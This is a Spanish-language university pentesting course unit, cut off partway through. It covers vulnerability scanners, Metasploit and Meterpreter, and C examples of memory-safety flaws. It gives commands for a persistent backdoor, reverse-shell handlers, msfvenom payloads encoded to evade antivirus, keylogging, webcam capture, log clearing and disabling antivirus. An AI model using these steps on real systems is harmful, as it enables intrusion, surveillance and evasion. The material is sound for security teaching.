Вы находитесь на странице: 1из 79

Vulnerabilidades

[2.1] Cmo estudiar este tema?

[2.2] Anlisis de vulnerabilidades

[2.3] Metasploit

[2.4] Tipos de vulnerabilidades

[2.5] Buffer Overflow

[2.6] Mecanismos de proteccin

TEMA
Vulnerabilidades
Esquema

Mecanismos de Tipos de Anlisis de


Metasploit Buffer Overflow

TEMA 2 Esquema
proteccin vulnerabilidades vulnerabilidades

Nessus Introduccin Heap overflow Introduccin a Programacin


Caractersticas Use after free la arquitectura segura
Qu es?
bsica
Funcionamiento Herramientas Dereference after
free La CPU DEP
de uso
Double free Los registros
La memoria Stack Cookies

2
OpenVas Comandos
bsicos La pila
Caractersticas Off-by-one
ASLR
Funcionamiento PoC 1 (Linux)
Meterpreter Race Condition
Qu es? PoC 2 (Windows)
Nexpose Comandos Integer overflow
bsicos
Caractersticas Tipos de saltos
Funcionamiento Format String
Backdooring Buffers pequeos
Buffer Overflow
Otras Otras formas de
herramientas salto
Fuzzers

Universidad Internacional de La Rioja, S. A. (UNIR)


Anlisis de Vulnerabilidades
Anlisis de Vulnerabilidades

Ideas clave

2.1. Cmo estudiar este tema?

Para estudiar este tema lee las Ideas clave que se exponen a continuacin.

Este segundo tema tratar del anlisis de las vulnerabilidades as como su


explotacin, utilizando diferentes pruebas de concepto (PoC), en las que se
demostrar paso a paso como aprovecharse de cierto tipo de vulnerabilidades para
tomar el control o ejecutar alguna accin en una mquina local o remota.

Empezaremos hablando del anlisis de las vulnerabilidades dentro de la mquina


vctima. Para ello contaremos con diversas herramientas que realizarn la bsqueda y
anlisis por nosotros. Estas herramientas sern Nessus, OpenVas y Nexpose. Son
herramientas web capaces de analizar mquinas mediante una direccin o rango de IPs
(las cuales se habrn obtenido en la etapa anterior de footprinting y fingerprinting).

Despus hablaremos de la herramienta estrella a la hora de realizar la fase de


explotacin, Metasploit. Esta herramienta es una de las ms usadas ya que cuenta con
mltiples funcionalidades como el lanzamiento y creacin de exploits, escucha de
conexiones inversas, descubrimiento de vulnerabilidades

Se explicarn los tipos de interfaces con las que se podr trabajar con Metasploit,
centrndonos exclusivamente en el de lnea de comandos. Tambin se explicarn
sus principales comandos y funcionalidades.

Adems se hablar de varias herramientas complementarias de Metasploit con las que


podremos generar payloads (la parte del cdigo que queremos que se ejecute en la
mquina vctima para obtener beneficio, como ejecutar una shell o crear un usuario) y
ofuscarlos a los antivirus.

Tras esto se explicarn los diferentes tipos de vulnerabilidades que nos podremos
encontrar en aplicaciones y ejecutables (las vulnerabilidades web se vern en el tema
siguiente). Las principales vulnerabilidades son: Heap Overflow (desbordamiento
de pila), Buffer Overflow (desbordamiento de buffer), Off-By-One, Race condition,
Integer Overflow y Format String.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


3
Anlisis de Vulnerabilidades

Nos centraremos sobre todo en los desbordamientos de buffer, ya que son los ms
comunes a da de hoy. Se explicar un poco de teora bsica de la arquitectura de los
computadores actuales, necesaria para entender el funcionamiento de esta
vulnerabilidad (partes fundamentales de un computador, lenguaje ensamblador e
instrucciones bsicas de este, funcionamiento de las zonas de memoria y
funcionamiento de la pila).

Tras la explicacin terica de los desbordamientos de buffer se expondrn dos pruebas


de concepto con dos casos prcticos de esta vulnerabilidad. Una prueba de concepto es
una demostracin prctica (no necesariamente paso a paso) de un mtodo o idea con el
propsito de verificar que el concepto o teora en cuestin es susceptible de ser
explotada de una manera til.

La primera PoC ser en un entorno Linux, con un ejecutable sencillo creado a propsito
con esta vulnerabilidad. Se podr reproducir de nuevo siguiendo la explicacin de la
PoC paso a paso utilizando solamente una mquina con Kali Linux.

La segunda PoC ser en un entorno Windows con una aplicacin real (aunque ya tenga
algunos aos). Esta aplicacin ser vulnerable a un desbordamiento de buffer y se
explicar, tambin paso a paso, como generar un exploit portable de ella para que se
pueda reproducir. En este caso harn falta dos mquinas, una con Kali Linux y otra con
Windows XP.

Para estas pruebas de concepto tambin se explicarn los depuradores y sus


funciones bsicas necesarias para ayudarnos en la explotacin.

Tras las pruebas de concepto se explicarn otras formas de realizar los exploits vistos y
el caso concreto de hacer desbordamientos en buffers con tamaos reducidos. Tambin
se tratarn rpidamente los fuzzers para realizar las tareas de descubrimiento de
desbordamientos de buffer.

Finalmente se explicarn los diferentes mecanismos de proteccin contra este tipo de


vulnerabilidades: para reducir su efecto si llegaran a comprometer el sistema, para
dificultar al atacante generar exploits o para incluso evitarlos.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


4
Anlisis de Vulnerabilidades

2.2. Anlisis de vulnerabilidades

Una vez hemos obtenido toda la informacin posible de la vctima, gracias al tema
anterior, nos dedicaremos a explotar las vulnerabilidades de su sistema para intentar
hacernos con el control de su mquina y los privilegios de administrador.

Primero, tendremos que descubrir qu aplicaciones o servicios de los que


tiene la vctima son vulnerables. Para ello, utilizaremos herramientas de escaneo
de vulnerabilidades; las ms importantes son Nessus, OpenVas y Nexpose.

Las tres herramientas son multiplataforma (aunque alguna tenga restricciones de la


arquitectura del sistema) y con todas utilizaremos una interfaz grfica, a la que nos
conectaremos a travs del navegador, en la direccin localhost (127.0.0.1) y un puerto
especfico para cada uno.

1. Nessus

Comenzaremos hablando de la ms popular de todas, Nessus. Nessus es una


herramienta de escaneo de vulnerabilidades muy simple pero muy verstil y potente. Es
multiplataforma y tiene versiones gratuita y de pago. Nosotros utilizaremos la versin
gratuita que recibe actualizaciones cada semana (la de pago las recibe diariamente).

Para utilizarlo deberemos instalarlo primero: Lo haremos en Kali e iremos a la pgina:


http://www.tenable.com/products/nessus/select-your-operating-system.

Elegiremos Kali Linux y la versin que tengamos (32 o 64 bits). Despus utilizaremos
los comandos:

> dpkg -i Nessus-5.2.1-debian6_i386.deb (o la versin que hayamos descargado)


para instalar el paquete.
> /etc/init.d/nessusd start para iniciar el servicio.

Finalmente iremos a la URL: https://localhost:8834 para acceder a la interfaz.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


5
Anlisis de Vulnerabilidades

Figura 1. Interfaz de Nessus.

Para recibir actualizaciones necesitaremos un cdigo que nos enviarn si nos


registramos en la pgina de Nessus: http://www.tenable.com/products/nessus/nessus-
plugins/obtain-an-activation-code

Para comenzar el escaneo haremos clic en la pestaa de New Scan.


Elegiremos el tipo de escaneo. Los ms sencillos son: host discovery y basic network
scan. Con ellos obtendremos informacin general de los hosts que haya en nuestra
red y sus vulnerabilidades.
Le daremos un nombre al escaneo y elegiremos los objetivos. Podremos elegir una
nica IP o un rango.
Si lo deseamos podremos incluir algn tipo de credencial de acceso al escaneo, para
que intente automticamente acceder al servicio indicado con ellas.

Figura 2. Introducir credenciales de acceso.

Pulsaremos en Save y comenzar el escaneo.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


6
Anlisis de Vulnerabilidades

Figura 3. Escaneos hechos o en proceso.

Figura 4. Resultado del escaneo.

En el ejemplo anterior se ha utilizado el escaneo de host discovery para analizar las


mquinas conectadas por cable Ethernet.

Figura 5. Resultado de las vulnerabilidades encontradas.

En este otro ejemplo vemos el escaneo basic network scan realizado sobre un Windows
XP SP3. Como se puede ver, Nessus ha encontrado una vulnerabilidad crtica en la
mquina que se puede explotar remotamente y dar acceso total al atacante. En el
prximo captulo se ver este ataque.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


7
Anlisis de Vulnerabilidades

Podremos tambin personalizar nuestros propios tipos de escaneo en la pestaa


Policies.

Nessus es una herramienta que facilita mucho el trabajo de la bsqueda de


vulnerabilidades al auditor. En la versin de pago incluye una funcionalidad que
permite lanzar un ataque sobre la vctima automticamente al descubrir una
vulnerabilidad.

2. OpenVas

A causa de que Nessus se hiciera de pago, surgi OpenVas, herramienta que es igual de
potente que la anterior y como ventaja tiene que se actualiza diariamente. OpenVas
viene por defecto en la distribucin Kali Linux.

Para iniciarla primero deberemos ir a: Aplicaciones > Kali Linux > Anlisis de
vulnerabilidades > OpenVas > openvas initial setup. Esto arrancar la configuracin
inicial descargando los plugins necesarios.

Figura 6. Inicio de OpenVas.

Tendremos que ingresar un usuario y contrasea para arrancar el servicio por primera
vez, el usuario por defecto es admin.

Nota: la primera vez que arranquemos la aplicacin puede tardar un buen rato ya que
tiene que descargar toda la base de datos.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


8
Anlisis de Vulnerabilidades

Al igual que Nessus tendremos que iniciar la aplicacin y acceder mediante el


navegador a ella, en este caso ser el puerto 9392: https://localhost:9392.

Figura 7: Interfaz de OpenVas.

Antes de nada, deberemos actualizar la base de datos y para ello iremos a la pestaa
administration > NVT Feed > Synchronise with Feed Now.

Una vez actualizado elegiremos un objetivo. Iremos a la pestaa Configuration >


Targets y pulsaremos el icono de la estrella blanca.

Figura 8. Nuevo objetivo.

Le daremos un nombre, una direccin IP y un rango de puertos para escanear.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


9
Anlisis de Vulnerabilidades

Figura 9. Configuramos el objetivo.

Finalmente asignaremos una tarea para realizar en el objetivo. Para ello iremos a la
pestaa Scan Management > New Task. Seleccionaremos un tipo de escaneo a realizar
y el objetivo sobre el que realizarlo y le daremos un nombre tambin.

Podremos elegir el nmero de hilos que escanearn a la vez.

Figura 10. Configuracin del escaneo.

3. Nexpose

La ltima herramienta para el escaneo de vulnerabilidades nos viene de los creadores


de Metasploit y es Nexpose. Al igual que las otras dos ya mencionadas, permite
escanear toda una red y a objetivos en particular mediante el entorno grfico de
navegador.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


10
Anlisis de Vulnerabilidades

Tiene una gran ventaja y es que si encuentra alguna vulnerabilidad, nos dir adems si
esta se encuentra en la base de datos de Metasploit. El nico problema con esta
herramienta es que solo est para sistemas operativos Linux o Windows de 64 bits, por
lo que no podremos instalarlo en nuestra mquina Kali si hemos optado por usar la de
32 bits.

Para instalar esta herramienta descargaremos la versin comunnity para nuestro


sistema operativo, de la pgina oficial:
https://www.rapid7.com/products/nexpose/editions.jsp

Una vez instalado pondremos en nuestro navegador la URL: https://localhost:3780

Figura 11. Pantalla de inicio de nexpose.

Primero nos identificaremos y tendremos que definir el sistema a escanear. Para ello,
en la pgina principal pulsaremos en New Static Site.

A partir de ah podremos definir el nombre del sistema a escanear, la/s direccin/es IP


que lo forman y el tipo de escaneo que vamos a llevar a cabo.

Figura 12. Pulsamos en new static site.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


11
Anlisis de Vulnerabilidades

Desde la pantalla principal podremos visualizar todos los escaneos realizados y en


proceso. Al inicio estar vaco y deberemos crear un objetivo.

Figura 13. Creamos un objetivo.

En la pestaa General deberemos introducir el nombre y en la pestaa Assets


podremos introducir tantas direcciones IP como queramos o importar una lista desde
un archivo.

Figura 14. Configuramos el escaneo.

Elegiremos el tipo de escner a realizar y lo configuraremos. Finalmente, en la pantalla


principal nos aparecer el objetivo creado y pulsaremos el botn de Scan (con forma
circular) para comenzar el escaneo de vulnerabilidades.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


12
Anlisis de Vulnerabilidades

Obtendremos la informacin de nuestro objetivo organizada segn el riesgo de la


vulnerabilidad, y adems podremos ver si existe un exploit en la base de datos de
Metasploit para dicha vulnerabilidad.

Figura 15. Resultado del escaneo.

2.3. Metasploit

Metasploit es una de las herramientas ms potentes para el pentesting. Permite


desarrollar y ejecutar exploits contra una mquina remota, generar shellcodes e
interactuar con la mquina remota.

Un exploit es un programa de alto nivel que aprovecha una vulnerabilidad de


seguridad en un sistema informtico para causar un fallo en este y
provocar comportamientos maliciosos, como obtener el control remoto de una
mquina o la obtencin de privilegios no autorizados.

Una shellcode es un trozo de cdigo en lenguaje ensamblador que tiene


como objetivo ejecutar una shell remota de la mquina de la vctima en la
mquina del atacante; este cdigo va insertado en un exploit. Con esta shell el
atacante tendr control total de la mquina de la vctima, que normalmente es el
objetivo de un ataque.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


13
Anlisis de Vulnerabilidades

Metasploit cuenta con diferentes herramientas para su uso:

MsfConsole. Es una interfaz por consola, pero es la ms usada ya que permite un


acceso a todas las funcionalidades de Metasploit. Es la que ms juego y flexibilidad
da.

Figura 16. Interfaz de msfconsole.

Armitage. Una potente herramienta para manejar Metasploit pero utilizando


interfaz grfica. No permite tantas funcionalidades como por lnea de comandos.

Figura 17. Interfaz de Armitage.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


14
Anlisis de Vulnerabilidades

MsfUpdate. Nos servir para actualizar Metasploit.

Figura 18. Interfaz de msfupdate.

Todas estas herramientas estarn por defecto en Kali Linux. Nosotros utilizaremos
MsfConsole por su versatilidad. A continuacin se explicarn sus diferentes funciones
y comandos:

show all ->Muestra todo.


show exploits -> Muestra los exploits.
show payload -> Muestra los payloads. Aqu encontraremos las diferentes
shellcodes. Un payload es el trozo de cdigo que posee la funcin que queremos que
se ejecute en la mquina remota, como la ejecucin de una shellcode, es decir, una
shellcode es un tipo de payload.
show auxiliary -> Muestra las herramientas auxiliares.
show encoders -> Muestra los algoritmos que se ejecutan sobre los payloads para
ocultarlos a los antivirus.
show options -> Muestra las diferentes opciones sobre un exploit.

Figura 19. Show options.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


15
Anlisis de Vulnerabilidades

show advanced -> Igual que options pero opciones avanzadas.


info -> Nos mostrar informacin del exploit seleccionado.
search palabra -> Para buscar y acotar con la palabra. Si queremos hacer una
bsqueda ms precisa podemos utilizar el parmetro type:

search type:exploit mp4

use path_del_exploit -> Para seleccionar un exploit.


set opcin valor_de_la_opcion -> Definiremos las opciones requeridas
por los mdulos de exploit, payload... Para ver estas opciones usaremos el comando
de show options ya mencionado.

Figura 20. Preparacin y lanzamiento del exploit.

unset opcin -> Elimina un parmetro previamente seleccionado con set.


exploit/run -> Ejecuta el exploit.
sessions -> Para interactuar con las mquinas explotadas.
back -> Permite volver atrs en los mdulos.
jobs -> Muestra los trabajos activos.
kill -> Permite matar trabajos activos.
help -> Muestra la ayuda.
load/unload plugin -> Carga o descarga un plugin.
check -> Comprueba si el objetivo es vulnerable al exploit sin necesidad de lanzarlo
antes (no todos los exploits lo incluyen).
exit -> Sale de la aplicacin.

MsfConsole permite ejecutar tambin algunos procesos de terceros como nmap, ping o
irb (un intrprete de comandos del lenguaje Ruby). Adems, al pulsar el tabulador
mientras escribimos en la lnea de comandos mostrar todas las posibilidades y
completar las palabras.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


16
Anlisis de Vulnerabilidades

Hay dos tipos de exploits:


Los activos, aquellos que explotarn una mquina objetivo por fuerza bruta hasta
inyectar el payload o encontrar un error.
Los pasivos, que esperan a que una mquina vctima se conecte a la mquina host
para explotarlos (suelen ser por los navegadores o los clientes FTP).

Los payload ms usados son la shell remota y el intrprete de comandos


Meterpreter. Este intrprete tiene muchas funciones y se caracteriza porque reside
totalmente en memoria RAM, para no dejar rastro en el disco duro ni crear nuevos
procesos. Meterpreter se inyecta en el proceso comprometido y puede migrar a otros
procesos en ejecucin con facilidad y, adems, utiliza comunicaciones cifradas entre la
vctima y el atacante.

Ya est incluido con Metasploit e incluye gran nmero de funcionalidades:

help -> Mostrar todos los comandos de Metasploit y una breve descripcin,
podremos cargar plugins con funcionalidades extra usando el comando load
plugin. Tambin se mostrar la ayuda de estos plugins con el comando help una
vez se hayan cargado.
background -> Ejecuta a Meterpreter en segundo plano, se puede acceder a cada
una de las sesiones abiertas con el comando sessions visto antes.
ps -> Muestra los procesos activos.
sysinfo -> Muestra informacin del sistema en el que estamos.
getuid -> Muestra los permisos con los que contamos en la sesin actual.
getpid -> Indica el pid del proceso al que estamos conectados.
migrate -> Cuando explotamos una vulnerabilidad de software, si la vctima cierra
la aplicacin perderemos la sesin, con este comando migraremos el proceso para
que esto no ocurra.
ipconfig -> Muestra las interfaces de red y las direcciones de la mquina remota.
idletime -> Muestra el tiempo de inactividad del usuario remoto.
pwd/ls/cd/mkdir/rm/rmdir -> Nos permiten movernos por los directorios de la
mquina remota y modificar archivos y carpetas.
run hashdump -> Obtendr los hashes de las contraseas del sistema.
upload/download -> Para subir y bajar archivos de la mquina remota.
screenshot -> Hace una captura de pantalla de la mquina vctima.
run vnc -> Devuelve una sesin grfica del equipo remoto, pudiendo ver todas las
acciones del usuario.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


17
Anlisis de Vulnerabilidades

keyscan -> Captura las pulsaciones del equipo remoto. Usaremos tres comandos:
keyscan_start/keyscan_dump/keyscan_stop.
load sniffer -> Cargar el plugin para poder capturar paquetes en la vctima.

Figura 21. Uso de plugins.

run webcam -> Activar la cmara en el equipo remoto y podremos verla en


directo. Usaremos webcam_list para obtener la lista de webcam conectadas y
webcam_snap para una captura.
run sound_recorder -> Permite capturar el audio.
clearev -> Borraremos todo el rastro que podamos dejar en la vctima.
timestomp -> Permite modificar la fecha de un archivo para ocultarlo.
run get_application_list -> Devuelve la lista de aplicaciones instaladas.
reg -> Permite acceder a los valores de los registros de Windows.
shell -> Obtendremos una shell en la mquina remota.
run killav -> Desactiva los mdulos del antivirus del sistema remoto.

Meterpreter permite ms funcionalidades aun, como mantener una conexin


persistente haciendo que la vctima, cada cierto tiempo, compruebe activamente si la
mquina del atacante est para conectarse a ella o crear una backdoor o puerta trasera,
para que el atacante pueda conectarse cuando desee.

Una backdoor o puerta trasera es una forma para el atacante de conectarse a la


mquina vctima. Puede hacerlo dejando un puerto de la mquina vctima abierto y
escuchando, a la espera de que la mquina atacante se conecte y obtenga todos los
privilegios y el control total de esta; o tambin creando un proceso en la mquina

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


18
Anlisis de Vulnerabilidades

vctima que cada cierto tiempo intente activamente conectarse a la mquina atacante,
siendo el atacante el que deba estar a la escucha.

Este tipo de funcionalidades no se debe usar a la ligera, ya que a la hora de hacer un


pentest no es conveniente dejar puertas traseras olvidadas y a la vctima no le har
mucha gracia que puedas acceder siempre a su sistema; al contrario, querr hacerse
ms robusto ante cualquier tipo de ataque.

Utilizaremos el comando run metsvc para crear la puerta trasera y luego nos
conectaremos a ella con el manejador de exploits multi/handler y el payload
metsvc/reverse_bind_tcp.

Para quitar la puerta trasera ejecutaremos el comando run metsvc r.

meterpreter > run metsvc


meterpreter > exit
msf > use multi/handler
msf > set payload metsvc/reverse_bind_tcp
msf > set lport 31337
msf > set rhost ip de la vctima
msf > exploit

Para realizar una backdoor persistente que intente conectarse al atacante de forma
activa utilizaremos la funcin persistence.

run persistence U i time p puerto r ip del atacante

time => intervalo de tiempo que intentar conectarse en segundos.

Figura 22. Creacin de persistencia.


Path del cleanup

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


19
Anlisis de Vulnerabilidades

Cuando creemos la conexin persistente nos dir en que archivo de nuestra mquina se
encuentra el cleanup para borrar la conexin persistente. Para hacer esto usaremos el
comando:

run multi_console_command rc path del cleanup

Para conectarnos ser como antes, pero esta vez con el payload de meterpreter.

msf > use multi/handler


msf > set payload windows/meterpreter/reverse_tcp
msf > set lport 4444
msf > set lhost ip del atacante
msf > exploit

Metasploit tambin tiene herramientas para generar sus propios payloads o codificar
su cdigo malicioso para que los antivirus no los detecten. Estas herramientas son:
msfpayload, msfencode y msfvenom (esta ltima unifica a las otras dos).

Msfpayload
A veces no podremos ejecutar un exploit remotamente para obtener una Shell. Por
ello, este mdulo nos permitir generar un payload personalizado para envirselo a
la vctima. Esta herramienta ya es deprecated pero todas sus funcionalidades las
incluye la herramienta msfvenom.

Msfencode
Para poder evitar ser detectados por los antivirus, a veces tendremos que codificar
los ficheros infectados. Por ello, esta herramienta permite realizar diferentes
codificaciones, tantas veces como se deseen, para hacer pasar desapercibidos a estos
ficheros. Tambin es deprecated y todas sus funcionalidades las incluye msfvenom.

Msfvenom
Esta herramienta es la evolucin de las dos anteriores y las unifica en una
herramienta para facilitar la tarea de creacin de payloads y su codificacin.

Para mostrar la ayuda de la herramienta y sus diferentes opciones usar:

msfvenom h.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


20
Anlisis de Vulnerabilidades

Para crear nicamente el payload usaremos el comando:

msfvenom p payload f formato > path para guardarlo

Figura 23. Creamos el payload.

Nos crear un fichero que tendremos que enviar a la vctima por correo, por enlace
web, por algn dispositivo de almacenamiento externo Nosotros pondremos nuestra
mquina a la escucha y, para ello, usaremos:

use multi/handler

Con set seleccionaremos el payload y las opciones necesarias de este. Cuando lancemos
el exploit se quedar a la escucha de que la mquina vctima abra el archivo infectado.

Figura 24. Lanzamos el handler a la espera de una conexin.

Podremos generar tambin un payload codificado con el comando:

msfvenom p payload f formato > path para guardarlo e


codificador i numero de iteraciones a codificar

Metasploit tiene tambin un mdulo llamado auxiliary con multitud de plugins,


funcionalidades y herramientas extra.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


21
Anlisis de Vulnerabilidades

Para saber ms sobre este y otros mdulos de Metasploit, mira los siguientes enlaces:
http://ns2.elhacker.net/TallerMetasploit2012.pdf
http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.
pdf (Manual de Metasploit de Offensive Security en espaol)
http://www.offensive-security.com/metasploit-unleashed/Introduction (Manual de
Metasploit de Offensive Security en ingls)

Tambin se podr encontrar un pequeo vdeo tutorial en el aula virtual de un ataque a


un Windows XP mediante Metasploit.

Para iniciar Metasploit en Kali, haremos:

1. Iniciar la base de datos con el comando:

service postgresql start

2. Iniciar el servicio de Metasploit (tardar algo ms la primera vez):

service metasploit start

3. Lanzar la consola (tambin tardar algo ms la primera vez):

msfconsole

2.4. Tipos de vulnerabilidades

Desde los aos 80 ya se conocen los errores de tipo buffer overflow y que hay ciertas
funciones en algunos lenguajes de programacin que pueden llegar a provocar estos
fallos (como strcpy o get en C/C++). Pero aun as, a da de hoy, muchos desarrolladores
de software siguen utilizando estas y otras funciones con todo tipo de fallos generando
multitud de vulnerabilidades.

Muchos programadores no se preocupan al 100% por la seguridad del software que


hacen. Por ello podremos encontrar todo tipo de vulnerabilidades en aplicaciones y
sistemas operativos, todos ellos a causa de una mala programacin.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


22
Anlisis de Vulnerabilidades

Un alto porcentaje de parches y actualizaciones de software se dedican a cerrar estos


agujeros de seguridad provocados por un uso de funciones deprecated que ya no deben
usarse o por la entrada de parmetros mal controlada.

Hay diversos tipos de vulnerabilidades, algunas ms peligrosas que otras. Unas pueden
llegar a causar denegacin de servicio y otras ejecucin de cdigo remoto, pero que
pueden comprometer el sistema de una forma u otra.

Tipos de vulnerabilidades:

1 Heap Overflow

2 Off-By-One

3 Race condition

4 Integer Overflow

5 Format String

6 Buffer Overflow

Heap Overflow

Este tipo de vulnerabilidades es causado por un mal uso de la memoria dinmica de


un programa y las funciones que operan sobre ella, reservndola y liberndola, como
malloc o free (C/C++). Hay tres tipos de vulnerabilidades que pueden causar un
Heap Overflow:

o Use after free: ocurre cuando un programa contina utilizando un puntero


despus de que este haya sido liberado. Al liberar un puntero, lo nico que se
hace es desasignar la memoria previamente asignada en un bloque, pero no
cambia la direccin a la que apunta.

Por ello, se puede utilizar la tcnica de Heap Spraying, que consiste en llenar el
heap de NOPs y shellcodes, haciendo que cuando se acceda a este puntero tenga

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


23
Anlisis de Vulnerabilidades

ms posibilidad de caer en la zona de NOPs y resbale hasta ejecutar la shellcode.


Puede provocar la ejecucin de cdigo arbitrario.

int *get_pointer(int *ant)


{
int *b = (int *)malloc(sizeof(int));
if (ant == NULL)
{
free(b); //liberamos b si ant es null
}
else
{
*b = *ant;
}
return b; //problema si ant es null
}

o Dereference after free: es un tipo concreto de use after free y ocurre cuando
intentamos acceder a memoria dinmica previamente liberada como
consecuencia de un free(). El trmino dereference se refiere a la accin, de
acceder a la variable a la que apunta el puntero en cuestin con el operador *.

o Double free: ocurre cuando se libera un puntero ms de una vez (sin


reasignarse entre ambas liberaciones). Al hacer esta doble liberacin se corrompe
la estructura de datos que gestiona la memoria y se podran sobrescribir algunos
registros o valores en la estructura corrompida para alterar el flujo del programa
y ejecutar cdigo arbitrario.

int * ab = (int*)malloc (SIZE);


...
if (c == 'EOF')
{
free(ab); //Liberamos la primera vez
}
...
free(ab); //Volvemos a liberar

Off-By-One

Este tipo de vulnerabilidades tienen su origen en el clculo o en el uso incorrecto de


un valor que realmente es inferior o superior en 1 al valor esperado. Normalmente,
por una mala interpretacin del programador a la hora de contar o acceder a
secuencias de datos, por ejemplo, cuando no se considera el valor de posicin 0
(cero) en un array o cuando se itera en un bucle ms all del nmero esperado de
veces.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


24
Anlisis de Vulnerabilidades

Generalmente, las consecuencias de este tipo de error acaban en un crash de la


aplicacin, aunque pueden ser aprovechadas para ejecutar cdigo o eludir
restricciones de seguridad en el equipo vulnerable.
int crash (char *param)
{
char st[64];

if ( strlen(param) > 64 )
{
printf(Argumento demasiado largo);
exit(0);
}

strcpy(st, param); //La funcin strcpy siempre aade \0


al final de la cadena,
return 0; //si param tiene tamao 64 este
carcter sobrescribir otra
} //zona de memoria

Race condition

Los errores generados por una condicin de carrera son producidos por el cambio
que experimenta el estado de un recurso (fichero, memoria, registros) desde que se
comprueba su valor hasta que el recurso es utilizado. Se convierten en una
vulnerabilidad si el atacante puede influir en este cambio de estado entre la
comprobacin y uso. Generalmente, este tipo de problemas suelen darse bien por la
interaccin entre hilos en un proceso multihilo o bien por la concurrencia de otros
procesos ajenos al proceso vulnerable.

El ejemplo ms comn es un proceso que modifica un archivo; para ello comprueba


si un usuario tiene permiso para escribir y si lo tiene, lo abre y permite modificarlo;
si un usuario creara otro proceso que se ejecutara simultneamente a este y que
cambiara el valor del archivo a modificar, con un enlace simblico por ejemplo,
podra modificar el archivo aunque no tuviera permisos necesarios.

if(!access(file,W_OK)) //1. Comprueba el acceso al archivo


{
fich = fopen(file,W+); //2. Abre el archivo
modificar_fichero(fich);
} //El proceso llega a 1 y tiene
permiso. Pierde la
else //CPU y el otro proceso modifica el
nombre
{ //del archivo. El primer proceso al
tomar la CPU

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


25
Anlisis de Vulnerabilidades

fprint(stderr,Sin permiso); //de nuevo llegar a 2, no comprobar


de nuevo
} //si tiene permiso y abrir el archivo

Integer Overflow

Los desbordamientos de entero suceden cuando se intenta almacenar un valor


numrico demasiado grande en una variable en la que no quepa (suelen ser int o
unsigned int), generando valores negativos, valores menores El problema se da
cuando este valor es resultado de algn valor introducido por el usuario y se utiliza
para tomar decisiones de seguridad, para hacer asignaciones de memoria, como
ndice de arrays, para contador de bucles

Normalmente, genera denegacin de servicio en las aplicaciones o servicios que


lleven esta vulnerabilidad, pero en algunos casos puede dar lugar a ejecucin
arbitraria de cdigo.

unsigned int x = 0xffffffff; //x tiene el mayor valor de un


unsigned int
unsigned int y = 0x5;
unsigned int z = x + y; //Desbordamiento de entero
//z = (x+y) mod (tamao unsigned int)
//z = (x+y) mod 0x100000000 = 0x100000004 mod 0x100000000 = 0x4

Format String

En algunos lenguajes como C, es necesario para las funciones que imprimen por
pantalla que se indique el tipo de dato que se quiere imprimir (mediante %d,
%c). Este tipo de vulnerabilidad se da cuando el programador no define el
formato de los datos que se van a imprimir, permitiendo al atacante dar el formato a
su antojo y provocando que la funcin devuelva los valores que hay en la pila hasta
que se llegue a una zona que no tiene acceso y el programa acabe su ejecucin.

Adems con la secuencia %n se puede sobrescribir cualquier posicin de memoria.


Por ello este tipo de vulnerabilidad puede provocar tanto fugas de informacin,
como denegacin de servicio, como ejecucin de cdigo arbitrario.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


26
Anlisis de Vulnerabilidades

#include <stdio.h>
int main(void)
{
char texto[30];
int a = 1;
int b = 2;
int c = 3;
scanf(%29s, texto);
printf(texto); //No da formato al texto ledo
para imprimirlo
return 0;
}

$ ./vulnerable //Ejecutamos el programa


%x_%x_%x_%x_%x_%x_%x_%x _%x //Introducimos el valor del formato
*** stack smashing detected ***: ./vulnerable terminated ... //El
programa crashea
bffff518_bffff508_8048378_b7ff1030_8049ff4_bffff538_3_2_1_255f7825 Aborted
//Obtenemos los datos de la pila como valores y direcciones

Buffer Overflow

Este tipo de vulnerabilidad se produce cuando se copia cierta cantidad de datos


sobre un rea que no es lo suficientemente grande para contenerlos, sobrescribiendo
de esta manera otras zonas de memoria. Esto se debe, en general, a un fallo de
programacin, por la incorrecta validacin de los lmites de un array o por la
ausencia de ella.

//overflow.c
int main ()
{
char strl [10] ; //Declaramos una variable con tamao de 10
caracteres (bytes)
//a continuacin, copiamos 35 bytes de "A" a
strl
strcpy (strl, " AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
}

Normalmente la sobrescritura de valores se da en la zona de la pila. Esta


vulnerabilidad puede provocar tanto denegacin de servicio como ejecucin de
cdigo arbitrario. Las vulnerabilidades Off-By-One, vistas antes, son un tipo de
desbordamiento de buffer.

TEMA 2 Ideas clave Universidad Internacional de La Rioja, S. A. (UNIR)


27
Anlisis de Vulnerabilidades

2.5. Buffer Overflow

Las vulnerabilidades de desbordamiento de buffer o buffer overflow son las ms


comunes que nos podemos encontrar, segn el Instituto Nacional de Estndares y
Tecnologas de EE.UU. (NIST, Nacional Institute of Standards and Technology). En
